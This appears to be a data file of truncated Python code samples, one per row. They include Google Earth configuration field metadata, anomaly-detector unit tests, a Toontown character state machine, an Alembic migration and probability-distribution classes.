x1 = r[0], r[1], r[2], r[3], r[4] if __name__ == '__main__': unittest.main() ",1 "erty() class Greeting(db.Model): author = db.UserProperty() content = db.StringProperty(multiline=True) avatar = db.BlobProperty() date = db.DateTimeProperty(auto_now_add=True) class Placebo(db.Model): developer = db.StringProperty() OID = db.StringProperty() concept = db.StringProperty() category = db.StringProperty() taxonomy = db.StringProperty() taxonomy_version = db.StringProperty() code = db.StringProperty() descriptor = db.StringProperty() ",1 "t in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""All sorts of properties for every field. Generated by ./generate-onetime-js-widget-data.py AMD-style module definition. Note: No leading, internal path before the [], since we'd have to hardwire it to data/whatever-fns.js which is inflexible. """""" # TODO: Clean up the description fields that actually contain data # extracted from the comments of dbroot_v2.proto. # The META_INFO contains already vetted snippets. META_INFO = r"""""" { ""end_snippet.bbs_server_info.base_url:value"": { ""abstract_fieldpath"": ""end_snippet.bbs_server_info.base_url:value"", ""default_value"": null, ""description"": ""URL of the server including protocol, domain and port. Can be translated if we use different servers for different languages."", ""empty_concrete_fieldpath"": ""end_snippet.bbs_server_info.base_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""base_url:value"", ""presence"": ""optional"", ""short_label"": ""base_url"", ""typ"": ""string"" }, ""end_snippet.bbs_server_info.file_submit_path:value"": { ""abstract_fieldpath"": ""end_snippet.bbs_server_info.file_submit_path:value"", ""default_value"": null, ""description"": ""Path on server where files can be submitted."", ""empty_concrete_fieldpath"": ""end_snippet.bbs_server_info.file_submit_path:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""file_submit_path:value"", ""presence"": ""optional"", ""short_label"": ""file_submit_path"", ""typ"": ""string"" }, ""end_snippet.bbs_server_info.name:value"": { ""abstract_fieldpath"": ""end_snippet.bbs_server_info.name:value"", ""default_value"": null, ""description"": ""Name that will be displayed in context menu to user. Must be translated."", ""empty_concrete_fieldpath"": ""end_snippet.bbs_server_info.name:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""name:value"", ""presence"": ""optional"", ""short_label"": ""name"", ""typ"": ""string"" }, ""end_snippet.bbs_server_info.post_wizard_path:value"": { ""abstract_fieldpath"": ""end_snippet.bbs_server_info.post_wizard_path:value"", ""default_value"": null, ""description"": ""Path on server where wizard can be found."", ""empty_concrete_fieldpath"": ""end_snippet.bbs_server_info.post_wizard_path:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""post_wizard_path:value"", ""presence"": ""optional"", ""short_label"": ""post_wizard_path"", ""typ"": ""string"" }, ""end_snippet.client_options.disable_disk_cache"": { ""abstract_fieldpath"": ""end_snippet.client_options.disable_disk_cache"", ""default_value"": null, ""description"": ""If true, no data will be cached on disk for this database. It will not be accessible offline."", ""empty_concrete_fieldpath"": ""end_snippet.client_options.disable_disk_cache"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": false }, ""name"": ""disable_disk_cache"", ""presence"": ""optional"", ""short_label"": ""disable_disk_cache"", ""typ"": ""bool"" }, ""end_snippet.cobrand_info.logo_url"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.logo_url"", ""default_value"": null, ""description"": ""URL of image to use as logo. Can be remote or local. However, using local URLs depends on the installation of the client and should be used carefully."", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].logo_url"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""logo_url"", ""presence"": ""required"", ""short_label"": ""logo_url"", ""typ"": ""string"" }, ""end_snippet.cobrand_info.screen_size"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.screen_size"", ""default_value"": ""0.0"", ""description"": ""If specified and strictly positive but <= 1.0, makes logo scalable with screen by forcing its width to occupy a fixed fraction of the screeen. For instance, a value of .25 makes the given logo occupy 25% of the screen."", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].screen_size"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""screen_size"", ""presence"": ""optional"", ""short_label"": ""screen_size"", ""typ"": ""double"" }, ""end_snippet.cobrand_info.tie_point"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.tie_point"", ""default_value"": ""BOTTOM_LEFT"", ""description"": ""Controls reference point in overlay."", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].tie_point"", ""enum_vals"": { ""BOTTOM_CENTER"": 7, ""BOTTOM_LEFT"": 6, ""BOTTOM_RIGHT"": 8, ""MID_CENTER"": 4, ""MID_LEFT"": 3, ""MID_RIGHT"": 5, ""TOP_CENTER"": 1, ""TOP_LEFT"": 0, ""TOP_RIGHT"": 2 }, ""js_validation_rule"": { ""required"": true }, ""name"": ""tie_point"", ""presence"": ""optional"", ""short_label"": ""tie_point"", ""typ"": ""TiePoint"" }, ""end_snippet.cobrand_info.x_coord.is_relative"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.x_coord.is_relative"", ""default_value"": ""false"", ""description"": ""If true, the coordinate is relative to the screen."", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].x_coord.is_relative"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": false }, ""name"": ""is_relative"", ""presence"": ""optional"", ""short_label"": ""is_relative"", ""typ"": ""bool"" }, ""end_snippet.cobrand_info.x_coord.value"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.x_coord.value"", ""default_value"": ""0.0"", ""description"": ""Coordinate value. Interpretation depends on is_relative (absolute or"", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].x_coord.value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""value"", ""presence"": ""required"", ""short_label"": ""value"", ""typ"": ""double"" }, ""end_snippet.cobrand_info.y_coord.is_relative"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.y_coord.is_relative"", ""default_value"": ""false"", ""description"": ""If true, the coordinate is relative to the screen."", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].y_coord.is_relative"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": false }, ""name"": ""is_relative"", ""presence"": ""optional"", ""short_label"": ""is_relative"", ""typ"": ""bool"" }, ""end_snippet.cobrand_info.y_coord.value"": { ""abstract_fieldpath"": ""end_snippet.cobrand_info.y_coord.value"", ""default_value"": ""0.0"", ""description"": ""Coordinate value. Interpretation depends on is_relative (absolute or"", ""empty_concrete_fieldpath"": ""end_snippet.cobrand_info.[].y_coord.value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""value"", ""presence"": ""required"", ""short_label"": ""value"", ""typ"": ""double"" }, ""end_snippet.default_web_page_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.default_web_page_intl_url:value"", ""default_value"": null, ""description"": ""Default location of web page."", ""empty_concrete_fieldpath"": ""end_snippet.default_web_page_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""default_web_page_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""default_web_page_intl_url"", ""typ"": ""string"" }, ""end_snippet.earth_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.earth_intl_url:value"", ""default_value"": null, ""description"": ""Location of international page for earth."", ""empty_concrete_fieldpath"": ""end_snippet.earth_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""earth_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""earth_intl_url"", ""typ"": ""string"" }, ""end_snippet.elevation_service_base_url"": { ""abstract_fieldpath"": ""end_snippet.elevation_service_base_url"", ""default_value"": """", ""description"": ""Terrain elevation service URL. If empty, service will be unavailable."", ""empty_concrete_fieldpath"": ""end_snippet.elevation_service_base_url"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""elevation_service_base_url"", ""presence"": ""optional"", ""short_label"": ""elevation_service_base_url"", ""typ"": ""string"" }, ""end_snippet.hide_user_data"": { ""abstract_fieldpath"": ""end_snippet.hide_user_data"", ""default_value"": ""false"", ""description"": ""If true, hides user license key in about dialog. Useful for Pro only, allows information to not be visible for shared license keys."", ""empty_concrete_fieldpath"": ""end_snippet.hide_user_data"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": false }, ""name"": ""hide_user_data"", ""presence"": ""optional"", ""short_label"": ""hide_user_data"", ""typ"": ""bool"" }, ""end_snippet.keyboard_shortcuts_url:value"": { ""abstract_fieldpath"": ""end_snippet.keyboard_shortcuts_url:value"", ""default_value"": null, ""description"": ""URL for keyboard shortcuts page. If not specified, this URL is built from user_guide_intl_url as user_guide_intl_url + \""ug_keyboard.html\""."", ""empty_concrete_fieldpath"": ""end_snippet.keyboard_shortcuts_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""keyboard_shortcuts_url:value"", ""presence"": ""optional"", ""short_label"": ""keyboard_shortcuts_url"", ""typ"": ""string"" }, ""end_snippet.model.compressed_negative_altitude_threshold"": { ""abstract_fieldpath"": ""end_snippet.model.compressed_negative_altitude_threshold"", ""default_value"": null, ""description"": ""Threshold below which negative altitudes are compressed"", ""empty_concrete_fieldpath"": ""end_snippet.model.compressed_negative_altitude_threshold"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""compressed_negative_altitude_threshold"", ""presence"": ""optional"", ""short_label"": ""compressed_negative_altitude_threshold"", ""typ"": ""double"" }, ""end_snippet.model.elevation_bias"": { ""abstract_fieldpath"": ""end_snippet.model.elevation_bias"", ""default_value"": null, ""description"": ""Elevation bias"", ""empty_concrete_fieldpath"": ""end_snippet.model.elevation_bias"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""elevation_bias"", ""presence"": ""optional"", ""short_label"": ""elevation_bias"", ""typ"": ""double"" }, ""end_snippet.model.flattening"": { ""abstract_fieldpath"": ""end_snippet.model.flattening"", ""default_value"": ""0.00335281066474748"", ""description"": ""Planet flattening. Default value is 1.0/298.257223563 (from WGS84)."", ""empty_concrete_fieldpath"": ""end_snippet.model.flattening"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""flattening"", ""presence"": ""optional"", ""short_label"": ""flattening"", ""typ"": ""double"" }, ""end_snippet.model.negative_altitude_exponent_bias"": { ""abstract_fieldpath"": ""end_snippet.model.negative_altitude_exponent_bias"", ""default_value"": null, ""description"": ""Bias for negative altitude so that ocean tiles can be streamed to older clients"", ""empty_concrete_fieldpath"": ""end_snippet.model.negative_altitude_exponent_bias"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""negative_altitude_exponent_bias"", ""presence"": ""optional"", ""short_label"": ""negative_altitude_exponent_bias"", ""typ"": ""int32"" }, ""end_snippet.model.radius"": { ""abstract_fieldpath"": ""end_snippet.model.radius"", ""default_value"": ""6378.13700"", ""description"": ""Mean planet radius. Default value is the WGS84 model for earth."", ""empty_concrete_fieldpath"": ""end_snippet.model.radius"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""radius"", ""presence"": ""optional"", ""short_label"": ""radius"", ""typ"": ""double"" }, ""end_snippet.privacy_policy_url:value"": { ""abstract_fieldpath"": ""end_snippet.privacy_policy_url:value"", ""default_value"": null, ""description"": ""URL for the privacy policy."", ""empty_concrete_fieldpath"": ""end_snippet.privacy_policy_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""privacy_policy_url:value"", ""presence"": ""optional"", ""short_label"": ""privacy_policy_url"", ""typ"": ""string"" }, ""end_snippet.release_notes_url:value"": { ""abstract_fieldpath"": ""end_snippet.release_notes_url:value"", ""default_value"": null, ""description"": ""URL for release notes page."", ""empty_concrete_fieldpath"": ""end_snippet.release_notes_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""release_notes_url:value"", ""presence"": ""optional"", ""short_label"": ""release_notes_url"", ""typ"": ""string"" }, ""end_snippet.reverse_geocoder_protocol_version"": { ""abstract_fieldpath"": ""end_snippet.reverse_geocoder_protocol_version"", ""default_value"": ""3"", ""description"": ""Reverse geocoder protocol version. Default is 3 which is the protocol supported by newer clients."", ""empty_concrete_fieldpath"": ""end_snippet.reverse_geocoder_protocol_version"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""reverse_geocoder_protocol_version"", ""presence"": ""optional"", ""short_label"": ""reverse_geocoder_protocol_version"", ""typ"": ""int32"" }, ""end_snippet.reverse_geocoder_url:value"": { ""abstract_fieldpath"": ""end_snippet.reverse_geocoder_url:value"", ""default_value"": null, ""description"": ""Reverse geocoder server URL"", ""empty_concrete_fieldpath"": ""end_snippet.reverse_geocoder_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""reverse_geocoder_url:value"", ""presence"": ""optional"", ""short_label"": ""reverse_geocoder_url"", ""typ"": ""string"" }, ""end_snippet.show_signin_button"": { ""abstract_fieldpath"": ""end_snippet.show_signin_button"", ""default_value"": null, ""description"": ""If true, shows the signin button in the upper right corner."", ""empty_concrete_fieldpath"": ""end_snippet.show_signin_button"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": false }, ""name"": ""show_signin_button"", ""presence"": ""optional"", ""short_label"": ""show_signin_button"", ""typ"": ""bool"" }, ""end_snippet.startup_tips_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.startup_tips_intl_url:value"", ""default_value"": null, ""description"": ""URL from which to load startup tips in Earth 7.0 and higher."", ""empty_concrete_fieldpath"": ""end_snippet.startup_tips_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""startup_tips_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""startup_tips_intl_url"", ""typ"": ""string"" }, ""end_snippet.support_answer_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.support_answer_intl_url:value"", ""default_value"": null, ""description"": ""Url to support answer."", ""empty_concrete_fieldpath"": ""end_snippet.support_answer_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""support_answer_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""support_answer_intl_url"", ""typ"": ""string"" }, ""end_snippet.support_center_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.support_center_intl_url:value"", ""default_value"": null, ""description"": ""Url to support center."", ""empty_concrete_fieldpath"": ""end_snippet.support_center_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""support_center_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""support_center_intl_url"", ""typ"": ""string"" }, ""end_snippet.support_request_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.support_request_intl_url:value"", ""default_value"": null, ""description"": ""Url to support pages."", ""empty_concrete_fieldpath"": ""end_snippet.support_request_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""support_request_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""support_request_intl_url"", ""typ"": ""string"" }, ""end_snippet.support_topic_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.support_topic_intl_url:value"", ""default_value"": null, ""description"": ""Url to support topics used by certain diagnostic messages."", ""empty_concrete_fieldpath"": ""end_snippet.support_topic_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""support_topic_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""support_topic_intl_url"", ""typ"": ""string"" }, ""end_snippet.swoop_parameters.start_dist_in_meters"": { ""abstract_fieldpath"": ""end_snippet.swoop_parameters.start_dist_in_meters"", ""default_value"": null, ""description"": ""Controls how far from a target swooping should start."", ""empty_concrete_fieldpath"": ""end_snippet.swoop_parameters.start_dist_in_meters"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""start_dist_in_meters"", ""presence"": ""optional"", ""short_label"": ""start_dist_in_meters"", ""typ"": ""double"" }, ""end_snippet.tutorial_url:value"": { ""abstract_fieldpath"": ""end_snippet.tutorial_url:value"", ""default_value"": null, ""description"": ""URL for tutorial page. If not specified, this URL is built from user_guide_intl_url as user_guide_intl_url + \""tutorials/index.html\""."", ""empty_concrete_fieldpath"": ""end_snippet.tutorial_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""tutorial_url:value"", ""presence"": ""optional"", ""short_label"": ""tutorial_url"", ""typ"": ""string"" }, ""end_snippet.use_ge_logo"": { ""abstract_fieldpath"": ""end_snippet.use_ge_logo"", ""default_value"": ""true"", ""description"": ""If false, hides the Google logo."", ""empty_concrete_fieldpath"": ""end_snippet.use_ge_logo"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": false }, ""name"": ""use_ge_logo"", ""presence"": ""optional"", ""short_label"": ""use_ge_logo"", ""typ"": ""bool"" }, ""end_snippet.user_guide_intl_url:value"": { ""abstract_fieldpath"": ""end_snippet.user_guide_intl_url:value"", ""default_value"": null, ""description"": ""Url to user guide."", ""empty_concrete_fieldpath"": ""end_snippet.user_guide_intl_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""user_guide_intl_url:value"", ""presence"": ""optional"", ""short_label"": ""user_guide_intl_url"", ""typ"": ""string"" }, ""end_snippet.valid_database.database_name:value"": { ""abstract_fieldpath"": ""end_snippet.valid_database.database_name:value"", ""default_value"": null, ""description"": ""Human-readable name of database (such as \""Primary Database\"" or \""Digital Globe Database\"")"", ""empty_concrete_fieldpath"": ""end_snippet.valid_database.[].database_name:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""database_name:value"", ""presence"": ""optional"", ""short_label"": ""database_name"", ""typ"": ""string"" }, ""end_snippet.valid_database.database_url"": { ""abstract_fieldpath"": ""end_snippet.valid_database.database_url"", ""default_value"": null, ""description"": ""URL of server. This can include a path and query, and must be a well-formed, absolute URL."", ""empty_concrete_fieldpath"": ""end_snippet.valid_database.[].database_url"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""database_url"", ""presence"": ""required"", ""short_label"": ""database_url"", ""typ"": ""string"" }, ""end_snippet.search_config.error_page_url:value"": { ""abstract_fieldpath"": ""end_snippet.search_config.error_page_url:value"", ""default_value"": ""about:blank"", ""description"": ""URL of a page that will be displayed if a network error or other local error occurs while performing a search. This might be an error for a local geocode while in offline mode, a connection error while trying to connect to MFE, or some other error where we can't get an error message from the server. (Obviously this page should be cached locally, or it's not terribly useful.) The URL should be fully encoded, and can use $[hl] and friends if necessary."", ""empty_concrete_fieldpath"": ""end_snippet.search_config.error_page_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""error_page_url:value"", ""presence"": ""optional"", ""short_label"": ""error_page_url"", ""typ"": ""string"" }, ""end_snippet.search_config.kml_render_url:value"": { ""abstract_fieldpath"": ""end_snippet.search_config.kml_render_url:value"", ""default_value"": ""/earth/client/kmlrender/index_$[hl].html"", ""description"": ""URL of a page that will be shown when KML is rendered in the search panel. This page should have JavaScript that reads the KML from the environment and renders it as HTML, but should NOT perform onebox or searchlet searches. The URL should be fully encoded, and can use $[hl] and friends if necessary."", ""empty_concrete_fieldpath"": ""end_snippet.search_config.kml_render_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""kml_render_url:value"", ""presence"": ""optional"", ""short_label"": ""kml_render_url"", ""typ"": ""string"" }, ""end_snippet.search_config.kml_search_url:value"": { ""abstract_fieldpath"": ""end_snippet.search_config.kml_search_url:value"", ""default_value"": ""/earth/client/kmlrender/index_$[hl].html"", ""description"": ""URL of a page that will be shown when a KML search is performed. This page should have JavaScript that reads the KML from the environment and renders it as HTML, and also performs onebox and searchlet searches if applicable. The URL should be fully encoded, and can use $[hl] and friends if necessary."", ""empty_concrete_fieldpath"": ""end_snippet.search_config.kml_search_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""kml_search_url:value"", ""presence"": ""optional"", ""short_label"": ""kml_search_url"", ""typ"": ""string"" }, ""end_snippet.search_config.search_history_url:value"": { ""abstract_fieldpath"": ""end_snippet.search_config.search_history_url:value"", ""default_value"": ""http://www.google.com/earth/client/search/history_$[hl].html"", ""description"": ""URL of a page that will be shown when the search history is requested. This page should have JavaScript that reads the search history from the client and renders it as HTML."", ""empty_concrete_fieldpath"": ""end_snippet.search_config.search_history_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""search_history_url:value"", ""presence"": ""optional"", ""short_label"": ""search_history_url"", ""typ"": ""string"" }, ""end_snippet.google_maps_url:value"": { ""abstract_fieldpath"": ""end_snippet.google_maps_url:value"", ""default_value"": """", ""description"": ""URL for Google Maps, for features like 'View in Maps'."", ""empty_concrete_fieldpath"": ""end_snippet.google_maps_url:value"", ""enum_vals"": null, ""js_validation_rule"": { ""required"": true }, ""name"": ""google_maps_url:value"", ""presence"": ""optional"", ""short_label"": ""google_maps_url"", ""typ"": ""string"" } } """""" ",1 "mpliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import pytest import numpy as np from test.zoo.pipeline.utils.test_utils import ZooTestCase from zoo.chronos.detector.anomaly.ae_detector import AEDetector class TestAEDetector(ZooTestCase): def setup_method(self, method): pass def teardown_method(self, method): pass def create_data(self): cycles = 10 time = np.arange(0, cycles * np.pi, 0.01) data = np.sin(time) data[600:800] = 10 return data def test_ae_fit_score_rolled_keras(self): y = self.create_data() ad = AEDetector(roll_len=314) ad.fit(y) anomaly_scores = ad.score() assert len(anomaly_scores) == len(y) anomaly_indexes = ad.anomaly_indexes() assert len(anomaly_indexes) == int(ad.ratio * len(y)) def test_ae_fit_score_rolled_pytorch(self): y = self.create_data() ad = AEDetector(roll_len=314, backend=""torch"") ad.fit(y) anomaly_scores = ad.score() assert len(anomaly_scores) == len(y) anomaly_indexes = ad.anomaly_indexes() assert len(anomaly_indexes) == int(ad.ratio * len(y)) def test_ae_fit_score_unrolled(self): y = self.create_data() ad = AEDetector(roll_len=0) ad.fit(y) anomaly_scores = ad.score() assert len(anomaly_scores) == len(y) anomaly_indexes = ad.anomaly_indexes() assert len(anomaly_indexes) == int(ad.ratio * len(y)) def test_corner_cases(self): y = self.create_data() ad = AEDetector(roll_len=314, backend=""dummy"") with pytest.raises(ValueError): ad.fit(y) ad = AEDetector(roll_len=314) with pytest.raises(RuntimeError): ad.score() y = np.array([1]) with pytest.raises(ValueError): ad.fit(y) y = self.create_data() y = y.reshape(2, -1) with pytest.raises(ValueError): ad.fit(y) ",1 "State from direct.fsm import State from direct.task import Task import random from toontown.toonbase import ToontownGlobals from toontown.toonbase import TTLocalizer import CharStateDatasAI class DistributedGoofySpeedwayAI(DistributedCCharBaseAI.DistributedCCharBaseAI): notify = DirectNotifyGlobal.directNotify.newCategory('DistributedGoofySpeedwayAI') def __init__(self, air): DistributedCCharBaseAI.DistributedCCharBaseAI.__init__(self, air, TTLocalizer.Goofy) self.fsm = ClassicFSM.ClassicFSM('DistributedGoofySpeedwayAI', [State.State('Off', self.enterOff, self.exitOff, ['Lonely', 'TransitionToCostume', 'Walk']), State.State('Lonely', self.enterLonely, self.exitLonely, ['Chatty', 'Walk', 'TransitionToCostume']), State.State('Chatty', self.enterChatty, self.exitChatty, ['Lonely', 'Walk', 'TransitionToCostume']), State.State('Walk', self.enterWalk, self.exitWalk, ['Lonely', 'Chatty', 'TransitionToCostume']), State.State('TransitionToCostume', self.enterTransitionToCostume, self.exitTransitionToCostume, ['Off'])], 'Off', 'Off') self.fsm.enterInitialState() self.handleHolidays() def delete(self): self.fsm.requestFinalState() DistributedCCharBaseAI.DistributedCCharBaseAI.delete(self) self.lonelyDoneEvent = None self.lonely = None self.chattyDoneEvent = None self.chatty = None self.walkDoneEvent = None self.walk = None return def generate(self): DistributedCCharBaseAI.DistributedCCharBaseAI.generate(self) name = self.getName() self.lonelyDoneEvent = self.taskName(name + '-lonely-done') self.lonely = CharStateDatasAI.CharLonelyStateAI(self.lonelyDoneEvent, self) self.chattyDoneEvent = self.taskName(name + '-chatty-done') self.chatty = CharStateDatasAI.CharChattyStateAI(self.chattyDoneEvent, self) self.walkDoneEvent = self.taskName(name + '-walk-done') if self.diffPath == None: self.walk = CharStateDatasAI.CharWalkStateAI(self.walkDoneEvent, self) else: self.walk = CharStateDatasAI.CharWalkStateAI(self.walkDoneEvent, self, self.diffPath) return def walkSpeed(self): return ToontownGlobals.GoofySpeed def start(self): self.fsm.request('Lonely') def __decideNextState(self, doneStatus): if self.transitionToCostume == 1: curWalkNode = self.walk.getDestNode() if simbase.air.holidayManager: if ToontownGlobals.HALLOWEEN_COSTUMES in simbase.air.holidayManager.currentHolidays and simbase.air.holidayManager.currentHolidays[ToontownGlobals.HALLOWEEN_COSTUMES]: simbase.air.holidayManager.currentHolidays[ToontownGlobals.HALLOWEEN_COSTUMES].triggerSwitch(curWalkNode, self) self.fsm.request('TransitionToCostume') elif ToontownGlobals.APRIL_FOOLS_COSTUMES in simbase.air.holidayManager.currentHolidays and simbase.air.holidayManager.currentHolidays[ToontownGlobals.APRIL_FOOLS_COSTUMES]: simbase.air.holidayManager.currentHolidays[ToontownGlobals.APRIL_FOOLS_COSTUMES].triggerSwitch(curWalkNode, self) self.fsm.request('TransitionToCostume') else: self.notify.warning('transitionToCostume == 1 but no costume holiday') else: self.notify.warning('transitionToCostume == 1 but no holiday Manager') if doneStatus['state'] == 'lonely' and doneStatus['status'] == 'done': self.fsm.request('Walk') elif doneStatus['state'] == 'chatty' and doneStatus['status'] == 'done': self.fsm.request('Walk') elif doneStatus['state'] == 'walk' and doneStatus['status'] == 'done': if len(self.nearbyAvatars) > 0: self.fsm.request('Chatty') else: self.fsm.request('Lonely') def enterOff(self): pass def exitOff(self): DistributedCCharBaseAI.DistributedCCharBaseAI.exitOff(self) def enterLonely(self): self.lonely.enter() self.acceptOnce(self.lonelyDoneEvent, self.__decideNextState) def exitLonely(self): self.ignore(self.lonelyDoneEvent) self.lonely.exit() def __goForAWalk(self, task): self.notify.debug('going for a walk') self.fsm.request('Walk') return Task.done def enterChatty(self): self.chatty.enter() self.acceptOnce(self.chattyDoneEvent, self.__decideNextState) def exitChatty(self): self.ignore(self.chattyDoneEvent) self.chatty.exit() def enterWalk(self): self.notify.debug('going for a walk') self.walk.enter() self.acceptOnce(self.walkDoneEvent, self.__decideNextState) def exitWalk(self): self.ignore(self.walkDoneEvent) self.walk.exit() def avatarEnterNextState(self): if len(self.nearbyAvatars) == 1: if self.fsm.getCurrentState().getName() != 'Walk': self.fsm.request('Chatty') else: self.notify.debug('avatarEnterNextState: in walk state') else: self.notify.debug('avatarEnterNextState: num avatars: ' + str(len(self.nearbyAvatars))) def avatarExitNextState(self): if len(self.nearbyAvatars) == 0: if self.fsm.getCurrentState().getName() != 'Walk': self.fsm.request('Lonely') def handleHolidays(self): DistributedCCharBaseAI.DistributedCCharBaseAI.handleHolidays(self) if hasattr(simbase.air, 'holidayManager'): if ToontownGlobals.APRIL_FOOLS_COSTUMES in simbase.air.holidayManager.currentHolidays: if simbase.air.holidayManager.currentHolidays[ToontownGlobals.APRIL_FOOLS_COSTUMES] != None and simbase.air.holidayManager.currentHolidays[ToontownGlobals.APRIL_FOOLS_COSTUMES].getRunningState(): self.diffPath = TTLocalizer.Donald return def getCCLocation(self): if self.diffPath == None: return 1 else: return 0 return def enterTransitionToCostume(self): pass def exitTransitionToCostume(self): pass ",1 "compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """"""add tenant_id to lcm_subscriptions and lcm_op_occs Revision ID: d6ae359ab0d6 Revises: 3ff50553e9d3 Create Date: 2022-01-06 13:35:53.868106 """""" from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'd6ae359ab0d6' down_revision = '3ff50553e9d3' def upgrade(active_plugins=None, options=None): op.add_column('vnf_lcm_subscriptions', sa.Column('tenant_id', sa.String(length=64), nullable=False)) op.add_column('vnf_lcm_op_occs', sa.Column('tenant_id', sa.String(length=64), nullable=False)) ",1 "pacal.distr import sqrt as distr_sqrt class NoncentralTDistr(DivDistr): def __init__(self, df = 2, mu = 0): d1 = NormalDistr(mu, 1) d2 = distr_sqrt(ChiSquareDistr(df) / df) super(NoncentralTDistr, self).__init__(d1, d2) self.df = df self.mu = mu def __str__(self): return ""NoncentralTDistr(df={0},mu={1})#{2}"".format(self.df, self.mu, self.id()) def getName(self): return ""NoncT({0},{1})"".format(self.df, self.mu) class NoncentralChiSquareDistr(SumDistr): def __new__(cls, df, lmbda = 0): assert df >= 1 d1 = NormalDistr(sqrt(lmbda))**2 if df == 1: return d1 d2 = ChiSquareDistr(df - 1) ncc2 = super(NoncentralChiSquareDistr, cls).__new__(cls, d1, d2) super(NoncentralChiSquareDistr, ncc2).__init__(d1, d2) ncc2.df = df ncc2.lmbda = lmbda return ncc2 def __init__(self, df, lmbda = 0): pass def __str__(self): return ""NoncentralChiSquare(df={0},lambda={1})#{2}"".format(self.df, self.lmbda, self.id()) def getName(self): return 